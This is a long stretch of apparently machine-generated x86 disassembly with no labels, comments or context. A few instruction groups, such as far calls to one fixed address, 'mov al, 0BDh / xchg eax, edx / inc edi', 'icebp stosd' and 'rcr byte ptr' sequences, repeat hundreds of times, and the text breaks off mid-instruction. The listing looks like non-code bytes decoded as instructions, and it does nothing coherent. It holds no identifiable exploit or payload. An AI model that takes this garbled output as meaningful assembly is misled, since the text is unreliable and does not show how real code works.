9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 4760h:9A579F60h mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi mov al, 0BDh xchg eax, edx inc edi aas adc [ebx+9ABF1ABh], ecx popf icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-62F6540Fh], ebx icebp stosd or [ebp-3CF6540Fh], ebx rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr [ebx-642D3CC6h], cl cmp al, bl rcr byte ptr 